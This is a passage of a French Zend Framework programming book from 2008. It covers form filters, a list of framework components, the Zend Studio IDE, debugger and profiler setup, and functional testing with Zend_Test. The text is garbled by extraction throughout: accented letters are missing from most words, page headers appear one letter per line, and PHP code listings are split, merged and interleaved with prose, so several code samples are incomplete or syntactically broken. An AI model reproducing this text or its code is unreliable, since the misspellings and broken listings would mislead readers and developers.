$submitButton->setValue($this->getTranslator()->translate("Valider"));
$submitButton->style = 'margin-left: 80px';
$this->addElement($submitButton);
// jeton
$token = new Zend_Form_Element_Hash('token', array('salt' => 'unique'));
$this->addElement($token);
}
}
1
3


A
u
t
r
e
s

c
o
m
p
o
s
a
n
t
s

u
t
i
l
e
s
Groupe Eyrolles, 2008
255
construire un tableau doptions puis laisser $this->addElement() le
soin de construire lobjet Zend_Form_Element_* (champs date).
Parmi les options dlments disponibles, nous pouvons donner la
lgende du champ (label), prciser si celui-ci est obligatoire (required)
et y assigner des filtres et des validateurs. Ces deux dernires possibilits
sont aussi importantes quintressantes, car elles permettent de sassurer
que les valeurs saisies sont syntaxiquement correctes et que les donnes
expdies au SGBD sont nettoyes.
Assigner des filtres ou des validateurs
Notre application donne plusieurs exemples dassignation de filtres et de
validateurs. Une assignation se fait soit en mentionnant le nom du filtre
ou du validateur dans une chane, soit en instanciant lobjet de filtrage ou
de validation. Les filtres et les validateurs sont respectivement stocks
dans $options['filters'] et $options['validators'], $options tant
le tableau doptions de llment concern. De mme, partir de lobjet
lment, lajout de filtres et de validateurs se fait avec les mthodes
addFilter() et addValidator().
Il est aussi possible dassigner des filtres et des validateurs personnaliss.
Voici par exemple un filtre personnalis stripslashes, que nous utilisons
dans les champs texte et qui permet dviter lajout automatique de carac-
tres dchappement par loption de configuration magic_quotes_gpc de
PHP. Ce filtre est dclar dans une classe de filtre, comme le prconise
Zend_Filter.
Filtre personnalis stripslashes
<?php
/**
* Strip slashes si magic_quote_gpc actives
*/
class Zfbook_Filter_StripSlashes
implements Zend_Filter_Interface
{
/**
* Dfini dans Zend_Filter_Interface
*/
public function filter($value)
{
if (get_magic_quotes_gpc()) {
return stripslashes($value);
}
return $value;
}
}
BONNE PRATIQUE Magic quotes
Votre serveur ne doit pas se reposer sur le para-
mtre magic_quote_gpc. Voyez lannexe F
qui traite en dtail des options PHP recommandes
pour dvelopper dans un environnement Zend Fra-
mework. Nous utilisons cette notion ici titre
dexemple uniquement.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
256
Une fois cette classe dclare, on peut lutiliser comme nimporte quel
filtre. Par exemple, la ligne $usage->addFilter(new
Zfbook_Filter_StripSlashes()) assigne ce filtre au champ $usage.
La figure 13-6 illustre le rsultat de la gnration dun tel formulaire.
Pour vous entraner sur cette application, vous pouvez par exemple
essayer de crer les formulaires dajout dutilisateurs et de salles, qui peu-
vent tre construits sur le mme principe.
Cette petite introduction Zend_Form nous permet de comprendre
lintrt de ce composant. Il est noter que celui-ci gnre un code
HTML par dfaut qui peut tre modifi grce des dcorateurs que
nous naborderons pas ici. Le code HTML par dfaut est gnr avec
des champs <dt> nomms, qui permettent de faire voluer laspect du
formulaire avec des styles CSS.
Tous les composants de Zend Framework
Voici la liste de lensemble des composants du Zend Framework dans sa
version 1.6. Pour davantage dinformations sur ces composants, nous
vous invitons consulter la documentation en ligne. Chaque nouvelle
version majeure ou mineure de Zend Framework rajoute en effet un cer-
tain nombre de composants.
Figure 136
Le formulaire dajout
et de modification de rservations
ALLER PLUS LOIN Zend_Form
Zend_Form est un composant trs complet,
comprenant de nombreuses classes. La documen-
tation en ligne vous en apprendra plus, notam-
ment sur les possibilits de liaison avec
Zend_Config, ou encore concernant lajout de
fonctionnalits Ajax. En fait, tout est question
dexprience. En gnral, un dveloppeur web
construit de nombreux formulaires, et il acquiert
ainsi trs rapidement lexprience lui permettant
de bien mieux apprhender Zend_Form.
1
3


A
u
t
r
e
s

c
o
m
p
o
s
a
n
t
s

u
t
i
l
e
s
Groupe Eyrolles, 2008
257
Tableau 131 Liste des composants existants
Composant Utilit
Zend_Acl Implmentation des listes de contrle daccs (ACL) pour affiner les droits des utilisateurs.
Zend_Auth Gestion de lauthentification des utilisateurs.
Zend_Cache Implmentation du cache avec possibilit dutiliser plusieurs supports et frontaux.
Zend_Captcha Gnration des textes images lisibles uniquement par ltre humain (pour validation de formulaire).
Zend_Config Gestion de la configuration, avec possibilit de grer des jeux de configuration et des hritages.
Zend_Console_* Composants utiles pour le mode console (CLI).
Par exemple, Zend_Console_Getopt gre lextraction doptions.
Zend_Controller Composant MVC de Zend Framework.
Zend_Currency Gestion des monnaies.
Zend_Date Gestion des dates : formatage, comparaisons, oprations.
Zend_Db Composant de taille importante proposant diffrentes manires daccder une base de donnes.
Zend_Debug Utilitaires de dbogage.
Zend_Dojo Facilite limplmentation ct PHP du framework Dojo utilis pour les applications Ajax.
Zend_Feed Gestion de flux, tels que RSS ou Atom.
Zend_File Gestion des fichiers.
Zend_File_Transfert propose des validateurs pour le chargement de fichiers.
Zend_Filter Bibliothque de filtres utiles pour nettoyer des donnes.
Zend_Form Gestion de formulaires : cration, filtrage, validation.
Zend_Gdata Manipulation de donnes spcifiques aux API Google.
Zend_Http Manipulation des donnes et oprations lies au protocole HTTP.
Zend_Infocard Manipulation de donnes InfoCard avec possibilit de lier Zend_Auth.
Zend_Json Manipulation des donnes JSON et de cration dun serveur. Souvent utilis en Ajax.
Zend_Layout Gestion de gabarits communs un ensemble de pages. Utilis pour les en-ttes et pieds de pages communs, par
exemple.
Zend_Ldap Accs un serveur LDAP et manipulation de donnes.
Zend_Loader Gestion du chargement des classes et des fichiers utiles.
Zend_Locale Gestion complte de la localisation : langues, rgions, dates, heures, normalisation, nombres, etc.
Zend_Log Gestionnaire de logs avec possibilit dattacher des objets de supports (base de donnes, fichier, etc.).
Zend_Mail Envoi et rception de-mails.
Zend_Measure Oprations spcifiques aux mesures (m, m, etc.) : formatage, comparaisons, oprations.
Zend_Memory Permet davoir la main sur la politique de gestion de la mmoire alloue pour les objets.
Zend_Mime Gestion des types MIME, utilis notamment par Zend_Mail.
Zend_OpenId Manipulation des identits OpenId, avec possibilit dintgration Zend_Auth.
Zend_Paginator Gestion de laffichage pagin de listes de donnes.
Zend_Pdf Cration et manipulation de fichiers PDF.
Zend_Registry Registre dans lequel on peut crire et lire des objets, en remplacement du contexte global.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
258
Pour finir, rappelons les grandes lignes caractrisant les composants du
Zend Framework :
ils sont gnriques (ils sadaptent un maximum de situations) ;
ils offrent la possibilit dajouter des extensions et sont modifiables
simplement (nombreuses interfaces et classes abstraites) ;
ils sont testables (et tests), btis sur des design patterns et des prin-
cipes du gnie logiciel largement adopts ;
on peut ventuellement les coupler : les composants sutilisent tous
indpendamment, mais proposent aussi des options de couplage int-
ressantes.
En rsum
Nous venons de passer en revue la manire dont nous avons employ
quelques autres composants du Zend Framework. Les intgrer dans le
modle MVC est gnralement une question darchitecture et de rutili-
sabilit, alors que lutilisation des composants eux-mmes peut tre
effectue directement ou en les drivant.
Zend_Rest Mise en uvre dun service REST (service allg par rapport SOAP ou XML-RPC).
Zend_Search_* Moteur de recherche.
Notamment, Zend_Search_Lucene est un moteur de recherche textuel trs complet.
Zend_Server_* Contient Zend_Server_Reflection, un composant objet permettant de faire de la Rflexion.
Zend_Service_* Composants facilitant laccs des services (Flickr, Yahoo, Amazon, etc.).
Zend_Session Gestion de sessions, avec possibilit de mettre en uvre des espaces de noms.
Zend_Soap Permet de crer des clients et des serveurs SOAP.
Zend_Test Implmentation de tests unitaires, avec notamment PHPUnit (Zend_Test_PHPUnit).
Zend_Text Zend_Text_Figlet est un gadget qui permet de gnrer des textes ASCII Art.
Zend_Translate Implmentation du multilinguisme avec possibilit davoir plusieurs supports (gettext, TMX, etc.).
Zend_Uri Tests et oprations sur les URI.
Zend_Validate Bibliothque de validateurs pour la validation de donnes.
Zend_Version Pour lire la version du Zend Framework ou la comparer une version explicite.
Zend_View Moteur de templates du Zend Framework.
Zend_XmlRpc Cration de clients et de serveurs XML-RPC.
Tableau 131 Liste des composants existants (suite)
Composant Utilit
Groupe Eyrolles, 2008
chapitre 14
Groupe Eyrolles, 2008
Outils et mthodologie
Creuser avec une pelle ou avec un bulldozer na pas le mme
rendement. Bien que lobjectif du travail soit le mme,
les outils, eux, ne le sont pas. En dveloppement, mme si cela
est certes moins dmonstratif, cest la mme chose : le choix
des outils et des mthodes est primordial pour une productivit
maximale.
SOMMAIRE
BBien organiser son application
BOptimiser le dveloppement
avec des outils adapts
BPrendre en main un IDE
COMPOSANTS
BZend_Test
MOTS-CLS
Barchitecture
Bditeur
Bdbogage
Bprofiling
Bgestion de projet
Btestabilit
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
262
Nous aborderons dans ce chapitre les outils et les mthodes efficaces que
toute quipe de dveloppement devrait connatre pour dvelopper rapide-
ment et de faon fiable. Nous nous intresserons en particulier aux spcifi-
cits de Zend Framework en la matire, en prsentant lditeur Zend
Studio pour Eclipse, avec son dbogueur, un profileur pour analyser les per-
formances et toute une mthodologie permettant de tester lapplication.
Lditeur : Zend Studio pour Eclipse
De nombreux diteurs PHP existent sur le march. Certains sont gra-
tuits, dautres libres, et quelques-uns propritaires. Lors du dveloppe-
ment de notre application, nous avons utilis Zend Studio pour Eclipse
(ZSFE).
Un environnement intgr pour optimiser ses
dveloppements
Zend Studio pour Eclipse est un IDE (Integrated Development Environ-
ment) ou EDI, en franais (environnement de dveloppement intgr). Il
regroupe un diteur avanc (proposant une autocompltion du code), un
dbogueur, un profileur, des assistants et beaucoup dautres fonctionnalits.
Compatible avec Windows, Linux et Mac OS, bas sur le clbre IDE
Eclipse et dvelopp par Zend, il requiert une licence dutilisation.
ZSFE offre quasi tout ce que propose Eclipse PDT, son alternative libre
et gratuite. Cependant, il est ingalable concernant un point : lintgra-
tion de la gestion de projets Zend Framework, et cest pourquoi nous le
prsentons ici. Il possde aussi des connecteurs vers PHPUnit. Un
aperu est disponible figure 14-1.
Nous nallons pas dtailler comment utiliser Eclipse, car un ouvrage
complet pourrait tre ddi cette tche. En revanche, nous allons voir
comment lutiliser afin de tirer le meilleur parti de ses possibilits dans le
cadre de lexploitation dun projet Zend Framework.
Intgrer Zend Framework dans lIDE
ZSFE propose le dveloppement de projets avec Zend Framework, de
manire assiste. Pour cela, il met disposition :
une ou plusieurs versions du Zend Framework pour lautocompltion ;
une perspective Eclipse ddie ;
un projet dexemple hello world Zend Framework ;
TLCHARGER Zend Studio for Eclipse
ZSFE requiert une licence dutilisation, mais vous
pouvez tlcharger une version dvaluiation gra-
tuite valable pendant 30 jours.
Bhttp://www.zend.com/fr/products/studio/
ALTERNATIVE Eclipse PDT
En libre et gratuit, vous trouverez lIDE Eclipse PDT
(PHP Development Tool), tlchargeable
ladresse ci-dessous :
Bhttp://www.zend.com/fr/community/pdt
1
4


O
u
t
i
l
s

e
t

m

t
h
o
d
o
l
o
g
i
e
Groupe Eyrolles, 2008
263
des templates de code tout prts concernant les composants de Zend
Framework ;
un formateur de code aux conventions du framework ;
lintgration de PHPUnit et Zend_Test.
Il est ainsi possible de crer un nouveau projet Zend Framework, comme
le montre la figure 14-2. Mme si la version de Zend Framework en
date est postrieure la version propose par ZSFE, il est toujours pos-
sible de ruser.
En effet, les mises jour de ZSFE ne suivent pas en permanence celles
de Zend Framework, et nous vous conseillons ainsi dintgrer votre
propre version de Zend Framework dans lIDE, plutt que de vous
reposer sur la version interne, dont les mises jour sont rares.
Figure 141
Vue globale de Zend
Studio For Eclipse
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
264
Pour cela, il convient de crer une variable ZendFramework et de la faire
pointer vers un dossier possdant une installation frache. Idalement, une
version du framework, relie son dpt Subversion, permet de bnficier
de la compltion sur la version que vous utilisez (voir figure 14-3).
Figure 142
Cration dun nouveau projet Zend Framework
CONSEIL Zend Framework et ZSFE
Ajouter une variable son projet nest utile que
pour lautocompltion. Votre application va bien
entendu bnficier de sa version de Zend Fra-
mework, gnralement prsente dans
linclude_path de PHP sur le serveur. Ainsi,
nous vous conseillons dutiliser cette version de
Zend Framework dans ZSFE afin dtre parfaite-
ment synchronis.
Figure 143
Cration dune variable ZF
avec un chemin personnalis
1
4


O
u
t
i
l
s

e
t

m

t
h
o
d
o
l
o
g
i
e
Groupe Eyrolles, 2008
265
Une fois un projet Zend Framework cr (File>New>Zend Framework Pro-
ject) et votre nouvelle variable ajoute, vous avez accs une perspective
nomme juste titre Zend Framework ainsi qu un menu de cration de
composants, comme illustr sur les figures 14-4 et 14-5.
Personnaliser ses composants
Alors que la perspective Zend Framework napporte en elle-mme pas
grand-chose, la cration de composants ddis est, elle, relativement int-
ressante. Dautant plus que chaque composant va proposer un modle,
appel template de code, entirement personnalisable. Cette fonctionnalit
est pratique, car elle permet de mcher une partie du travail rptitif.
ZSFE est un projet encore un peu jeune, mais Zend sefforce de le faire
voluer. Cest ainsi que la version 6.01 a fait apparatre les templates
Zend_View_Helpers, la version 6.1 les templates Zend_Controller_Action
et Zend_Test. Il nest alors pas difficile de supposer qu terme, tous les
composants seront intgrs, comme ceux servant par exemple crer un
nouveau plugin MVC, ou encore crer un module pour services web (ceci
existe dj dans ZSFE, mais pas pour Zend Framework).
Figure 144
Perspective Zend Framework
Figure 145
Cration de composants Zend Framework
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
266
Un code source de meilleure qualit grce au formateur
Le formateur de code est galement commode, car il va permettre de
crer un code source clair, lisible et plus facile maintenir. En plus de
cela, toute configuration Eclipse (donc toute configuration concernant le
formateur, les templates, etc.) peut tre exporte en XML et donc cen-
tralise pour tous les dveloppeurs dun mme projet. Parmi les forma-
teurs existant par dfaut, on trouve celui concernant les conventions
Zend Framework (figure 14-6), lui aussi pleinement personnalisable.
Le dbogueur
voluer dans un projet Zend Framework est facilit par la prsence dun
dbogueur. un moment o un autre, un effet de bord peut survenir et
seul le dbogueur pourra vous le montrer. Son utilisation permet de :
suivre pas pas chaque instruction PHP, jusque dans les sources de
Zend Framework ;
de cette faon, suivre pas pas le cheminement des instructions, et
donc savoir o passe le flux, et o il ne passe pas (dans quelles bou-
cles, quels fichiers...) ;
Figure 146
Les rgles de formatage de code
1
4


O
u
t
i
l
s

e
t

m

t
h
o
d
o
l
o
g
i
e
Groupe Eyrolles, 2008
267
connatre ltat de nimporte quelle variable PHP nimporte quel
moment ;
matriser finement le fonctionnement de Zend Framework, et donc
faire de moins en moins derreurs ;
grer lenvoi dun formulaire, et notamment la mthode POST.
En revanche, attention aux fausses ides, le dbogueur ne permet pas de :
corriger les bogues par magie ;
dtecter les bogues : il faut faire un effort de recherche.
ZSFE possde, ds son installation, tous les connecteurs ncessaires
pour rpondre Zend Debugger, qui est la partie serveur du dbogage.
Il sagit dune extension PHP quil faut installer et qui va permettre le
dbogage.
Une fois la version de Zend Debugger correspondant votre systme
dexploitation et votre version de PHP tlcharge, modifiez votre
fichier php.ini de manire ajouter les lignes suivantes (exemple pour
un poste de dveloppement Windows) :
zend_extension_ts=path/to/ZendDebugger.dll
zend_debugger.allow_hosts=127.0.0.1
zend_debugger.expose_remotely=always
La manire la plus simple dutiliser le dbogueur est de passer par
lextension de navigateur web que ZSFE vous propose dinstaller lors de
sa propre installation. Celle-ci permet de lancer une session de dbogage
depuis le navigateur en un seul clic, tout en conservant le contexte de la
session HTTP : donnes POST, cookies et sessions, informations
dauthentification HTTP, etc. La figure 14-7 reprsente la barre doutils
ZSFE dans le navigateur Firefox.
Cette barre possde un bouton Debug qui permet de lancer lditeur sur
la page demande en commenant une session de dbogage. La
figure 14-8 montre la perspective de dbogage de ZSFE.
Figure 147
Barre Zend Studio dans le navigateur
ALTERNATIVE Solutions de dbogage
Zend Studio pour Eclipse et Zend Debugger ne
sont pas les seules solutions de dbogage pour
PHP. Il en existe dautres, telles que Xdebug,
Advanced PHP Debugger (APD) et les nombreux
diteurs compatibles (Eclipse PDT, etc.).
TLCHARGER Zend Debugger
Vous pouvez tlcharger Zend Debugger
ladresse suivante :
Bhttp://downloads.zend.com/pdt/server-
debugger/.
REMARQUE Windows et les threads
Sous Windows, la ligne zend_extension
devient zend_extension_ts.
ts signifie thread safe. Il est fort probable que
votre installation soit scurise et fiable dans le
cadre dun dveloppement multithread (linstruc-
tion phpinfo() vous lindiquera), ce qui, sous
Windows, est indispensable.
ALLER PLUS LOIN Comprendre Zend Framework
Les dveloppeurs les plus curieux pourront ana-
lyser de manire trs fine le fonctionnement de
Zend Framework en lanant un dbogage et en
suivant pas pas, au travers du framework, le che-
minement de la requte. Cest utile et enrichissant,
mais ncessite une bonne matrise de PHP. Un
mcanicien nest capable de rparer le moteur
dune voiture en profondeur que parce quil sait
parfaitement comment il fonctionne : nous vous
conseillons vivement de vous pencher sur le fonc-
tionnement interne de Zend Framework.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
268
Analyse des performances avec le profileur
Le profileur permet danalyser le temps de chargement de la page en
indiquant prcisment quels ont t les traitements PHP les plus longs
sur une requte HTTP donne. La figure 14-9 montre un rsultat de
statistiques globales sur lappel dune page.
Ainsi, le profileur permet dapporter des rponses des questions telles que :
Quels sont les objets et les mthodes appels lors du traitement de
cette requte ?
Quelles ont t les lignes de code sur lesquelles est pass le
programme ?
Quelles sont les mthodes les plus lentes ?
Quelles ont t les erreurs PHP (mme les caches) lors du traite-
ment de cette requte ?
Figure 148
Perspective de dbogage dans ZSFE
1
4


O
u
t
i
l
s

e
t

m

t
h
o
d
o
l
o
g
i
e
Groupe Eyrolles, 2008
269
Le profileur gnre des statistiques, mais il faut videmment garder
lesprit quil reprsente un outil parmi dautres pour lanalyse et loptimi-
sation des performances.
En effet, il ne sappuie que sur PHP, or lamlioration des performances
gnrales dune application dpend de nombreux autres facteurs :
Mon SGBD est-il performant ?
Quelle est la qualit du lien entre mon SGBD et PHP ?
Mon serveur HTTP est-il correctement configur ? Le cache HTTP
est-il bien gr ?
Quelle est la qualit globale du rseau ?
Quelles sont les caractristiques du (des) serveur(s) hbergeant
lapplication ?
La liste est encore bien longue, et sans pour autant ngliger les perfor-
mances de PHP, changer des guillemets doubles en guillemets simples
est une optimisation tire par les cheveux. Une bonne gestion des per-
formances passe avant tout par une gestion efficace des algorithmes et
des goulets potentiels tels que les appels la base de donnes. Vous trou-
verez de plus amples informations sur les performances au chapitre 10.
Figure 149
Statistiques gnrales dun profil de page
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
270
Tests fonctionnels avec Zend_Test
Zend_Test, pour quoi faire ?
Lapproche oriente objet et notamment MVC offrent un avantage
incomparable : la possibilit de tester unitairement et surtout fonction-
nellement lapplication. Nous supposons ce stade que vous connaissez
la partie MVC de Zend Framework. Si ce nest pas le cas, les chapitres 6
et 7 sauront rpondre vos attentes.
Zend_Test est un composant ddi la cration de tests pour le modle
MVC de Zend Framework. tant donn quil sappuie sur PHPUnit,
nous vous conseillons vivement de lire lannexe H afin de vous familia-
riser avec cet outil.
Zend_Test permet de tester lenchanement des actions du point de vue
MVC. Afin de complter pleinement les tests fonctionnels, nous vous invi-
tons vous pencher sur un outil qui excelle dans ce domaine, Selenium-
Server, et ses extensions clientes prsentes notamment dans PHPUnit.
T Tests fonctionnels
Les tests fonctionnels visent tester une fonction-
nalit, cest--dire un enchanement de mthodes
simples (chacune cense tre teste unitairement),
afin de vrifier le bon cheminement du flux dinfor-
mations et de lalgorithme gnral.
Figure 1410
Diagramme de classes simplifi
du composant Zend_Test
1
4


O
u
t
i
l
s

e
t

m

t
h
o
d
o
l
o
g
i
e
Groupe Eyrolles, 2008
271
Un schma tant plus vocateur que mille lignes, voyons plutt le dia-
gramme de classes de Zend_Test sur la figure 14-10. Ce diagramme est
complter par toutes les mthodes de tests inverses par exemple,
assertModule() est lie assertNotModule() que nous navons pu
reprsenter.
Comme on peut le voir sur le schma de la figure 14-10, Zend_Test est
destin tester non seulement le parcours dune requte au milieu du
modle complexe MVC, mais aussi le contenu de la rponse en utilisant
le DOM (Document Object Model) et Xpath.
Prise en main de Zend_Test
Templates Zend Studio For Eclipse
ZSFE intgre un template tout fait pour crer une classe de tests bass
sur un contrleur prcis. La figure 14-11 montre un exemple. Nous
avons cependant choisi dcrire nous-mmes nos tests dans une seule
classe, afin de tester quelques fonctionnalits dans le cadre de lcriture
de cet ouvrage.
Une documentation officielle pour Zend_Test existe, nous vous sugg-
rons de la lire avec attention. Ici, nous la complterons en expliquant le
fonctionnement de ce composant au travers, bien entendu, dun exemple
tir des tests de notre application.
Figure 1411
Cration dun nouveau test
de contrleur avec lassistant ZSFE
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
272
Gestion du bootstrap
Pour commencer, Zend_Test doit charger obligatoirement un bootstrap.
Celui-ci initialise le contexte du test. Il ressemble beaucoup au bootstrap
original, si ce nest quil ne doit en aucun cas lancer un processus de dis-
tribution et de traitement de la requte au niveau du contrleur frontal.
Il est trs important de noter que Zend_Test sappuie sur PHPUnit, et
quainsi chaque test est lanc dans un contexte vierge et non perturb par
les tests prcdents, mme sous MVC.
Par ailleurs, les tests sont effectus dans un environnement CLI (Com-
mand Line Interpreter), ce qui entrane des consquences trs
importantes :
$_SERVER manquera dinformations par rapport au mode de fonction-
nement HTTP.
Les objets de rponse et de requte sont remplacs par des objets
prvus pour les tests hors HTTP : Zend_Controller_Request_Http
devient Zend_Controller_Request_HttpTestCase et idem pour la
rponse. Il ne faut donc pas crer des objets personnaliss pour les
injecter dans le contrleur frontal, car ils seront de toute faon crass
par ceux du test.
Par dfinition, la session nexiste pas (voir le chapitre 8). Elle sera
simule et rinitialise entre chaque test : faites-donc attention aux
enchanements.
Enfin, toute notion de redirection est abstraite. Les tests ntant pas
excuts dans un contexte HTTP, une redirection sera prsente dans
lobjet de rponse, mais videmment non suivie .
Pour crer un test Zend_Test, il convient dtendre
Zend_Test_PHPUnit_ControllerTestCase, qui elle-mme tend
PHPUnit_TestCase, la classe standard de PHPUnit fournissant tout ce
quon lui connat. Il faut alors spcifier quel sera le bootstrap charger.
On peut tout fait imaginer un chafaudage de bootstraps qui chargent
chacun leur tour une fonctionnalit diffrente (un plugin, un espace de
noms de session, etc.). Cependant, nous avons opt pour un bootstrap
unique et trs riche : il reprend presque toutes les fonctionnalits du
bootstrap original, mais sadapte aux tests et notamment lenvironne-
ment CLI (lignes de commandes), en compltant le tableau $_SERVER :
tests/Bootstrap.php
<?php
$_SERVER['SERVER_NAME'] = 'php';
1
4


O
u
t
i
l
s

e
t

m

t
h
o
d
o
l
o
g
i
e
Groupe Eyrolles, 2008
273
Dautre part, nous avons dsactiv tout ce qui concerne le cache
(Zend_Cache) afin de ne pas perturber les tests, ce qui engendrerait une
difficult supplmentaire (mme si le cache est testable).
Le plugin antivol de session Zfbook_Controller_Plugins_Session fait tel-
lement bien son travail quil va perturber les tests : nous lavons supprim
du bootstrap de tests. En effet, celui-ci est bas sur un ventuel change-
ment de signature de navigateur entre deux requtes et utilise la session, qui
est non seulement simule, mais aussi remise zro entre chaque test.
Commenons tout de suite : nous avons un seul et unique fichier de
tests, bien entendu en environnement rel. Lorganisation des tests est
indispensable.
tests/ControllerTest.php
Le fait de spcifier la proprit public $bootstrap avec un nom de
fichier aura pour effet dinclure ce fichier dans les tests, mais attention, il
sera inclus dans le contexte dune mthode. Toutes les variables que vous
dfinirez dedans ne seront donc pas globales, et ainsi non accessibles
dans vos diffrents tests.
Qu cela ne tienne, puisque le contrleur frontal est un singleton, il est
le mme en tout point du script, et nos tests utiliseront bien le contrleur
frontal dfini dans notre fichier bootstrap.php (dont le code, similaire
au bootstrap rel, nest pas divulgu ici mais prsent dans les sources de
notre application).
Il aurait t possible de dfinir le bootstrap de cette manire :
Autre dfinition du bootstrap de test
class ControllerTest extends
Zend_Test_PHPUnit_ControllerTestCase
{
public $bootstrap = './bootstrap.php';
class ControllerTest extends
Zend_Test_PHPUnit_ControllerTestCase
{
protected function setUp()
{
$this->bootstrap = new bootstrap();
// ou encore
// $this->bootstrap = array($this, 'boot');
parent::setUp();
}
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
274
Ainsi, le bootstrap peut tre une classe part, ou encore une mthode de la
classe en cours, ici appele boot. Attention, nappelez pas cette mthode
bootstrap car une mthode nomme ainsi existe dj en interne.
Il est temps dcrire notre premier test. Le processus global est relative-
ment simple :
1 accder au contexte et le configurer : objets de requte, aides diverses,
plugins, etc. ;
2 lancer le processus de distribution via la mthode dispatch() ;
3 utiliser des assertions pour faire des vrifications ;
4 au besoin, appeler reset() pour remettre le contexte zro et redis-
tribuer derrire.
crire des tests
Suite de tests/ControllerTest.php
Il est inutile ici de commenter, tant les mthodes parlent delles-mmes.
Simplement, dans ce cas, nous testons notre route spciale, et par la mme
occasion, nous testons aussi le contextSwitch sur un contexte XML.
Test de redirection
assertRedirectRegex() vrifie que la rponse est bien une redirection et
que lURL de redirection contient bien le mot unauthorized (ou toute
autre expression rgulire, aussi complexe soit-elle).
Test de login sur le formulaire
public function testRoutePerso()
{
$this->dispatch('/lister-les-reservations-page-1?format=xml');
$this->assertHeaderContains('content-type', 'application/xml');
$this->assertRoute('reservations');
}
public function testAccesPageRestreintRedirige()
{
$this->dispatch('/reservation/edit/');
$this->assertRedirectRegex('#unauthorized#');
}
public function testLoginKo()
{
$this->request->setMethod('POST')
->setPost(array(
'login' => 'julien.pauli@anaska.com',
'password' => 'mauvais-password'
));
1
4


O
u
t
i
l
s

e
t

m

t
h
o
d
o
l
o
g
i
e
Groupe Eyrolles, 2008
275
Ce test montre la puissance de Zend_Test. Il nous donne accs via $this
->request la requte (qui, pour mmoire, est un objet spcial ddi aux
tests) : nous y injectons nos paramtres POST puis lanons login/login/.
Les identifiants tant faux, nous nous attendons une redirection avec
un code 303 et ce quil ny ait pas didentifiant en session. Bien
entendu, la base de donnes doit tre disponible, mme sil reste possible
de la simuler avec PHPUnit.
Le test suivant (que nous ne dveloppons pas ici) vrifie exactement le
contraire en spcifiant, cette fois-ci, un bon couple identifiant/mot de
passe : nous devrions alors tre redirigs et il devrait y avoir une identit
en session.
Il apparat ds lors que lapplication va ncessiter dtre teste lorsquun
utilisateur est identifi. Il faut donc crer une mthode qui permette
dinitialiser un contexte dans lapplication, de manire ce quelle croie
quune personne est identifie. Ceci est effectu via la mthode prive
_logAdmin().
La mthode _logAdmin(), qui fait croire lapplication quun admin est logu
Remarquez comme cette mthode est la fois lgante et simple. Nous
excutons la mme chose que ce que fait le processus didentification en
interne, mais manuellement. Nous injectons dans la session de
Zend_Auth un objet similaire celui utilis en temps normal, puis nous
cherchons les ACL dans le registre (enregistres en bootstrap de test), et
enfin, nous autorisons lutilisateur tout faire.
Ds lors que la mthode _logAdmin() est prsente, nous pouvons luti-
liser pour poursuivre nos tests :
$this->dispatch('/login/login/');
$this->assertResponseCode(303);
$this->assertRedirect();
$this->assertFalse(Zend_Auth::getInstance()->hasIdentity());
$this->assertFalse(Zend_Session::namespaceIsset('Zend_Auth'));
}
private function _logAdmin()
{
$admin = new stdClass();
$admin->firstname = 'julien';
Zend_Auth::getInstance()->getStorage()->write($admin);
Zend_Registry::get('session')->acl->allow('user');
}
RAPPEL Nous tendons PHPUnit
La classe Zend_Test_PHPUnit_
ControllerTestCase que nous tendons,
tend elle-mme PHPUnit_Framework_
TestCase. Toutes les mthodes dassertion
classiques telles que assertTrue() sont
donc mises notre disposition.
RAPPEL ACL et Auth
Zend_Auth, Zend_Session et Zend_Acl
sont traits en dtail au chapitre 8.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
276
Suite de tests/ControllerTest.php
Remarquez la mthode testEditionFaitApparaitreFormulaireDedition().
Lassertion utilise lobjet DOM de la page rsultante pour vrifier quun
lment div avec un id reservationform est bien prsent dans la page.
Mme si nous sommes loin dtre exemplaires sur ce point, un code
source bien crit et de prsentation valide nest pas de moindre impor-
tance. Car les assertions DOM peuvent tre compltes dassertions
Xpath, et il devient alors possible de presque tout tester dans le code
source XHTML de la rponse.
Le lancement des tests se fait de manire tout fait classique par
PHPUnit :
Lancement des tests
Faut-il tout tester ?
Certains diront que dvelopper des tests unitaires ou fonctionnels con-
somme trop de temps, tandis que dautres considreront que les tests
sont indispensables. Arrtons l les considrations extrmes ! Les tests
sont un outil de qualit au mme titre que la documentation : il en faut,
certes, mais sans forcment en abuser.
Les dissertations sur ce sujet peuvent donner lieu des romans en plu-
sieurs tomes. Mais comme nous sommes des gens presss par les con-
traintes de nos projets, nous nous contenterons ici de rsumer en
public function testAccesRestreintQuandLoggueFonctionne()
{
$this->_logAdmin();
$this->dispatch('/reservation/edit/');
$this->assertNotRedirect();
}
public function testEditionFaitApparaitreFormulaireDedition()
{
$this->_logAdmin();
$this->dispatch('/reservation/edit/');
$this->assertQuery("div#reservationform");
}
public function testLogout()
{
$this->dispatch('/login/logout/');
$this->assertRedirect();
}
> phpunit ControllerTest
1
4


O
u
t
i
l
s

e
t

m

t
h
o
d
o
l
o
g
i
e
Groupe Eyrolles, 2008
277
rappelant les deux raisons fondamentales qui font quune fonctionnalit
doit tre teste :
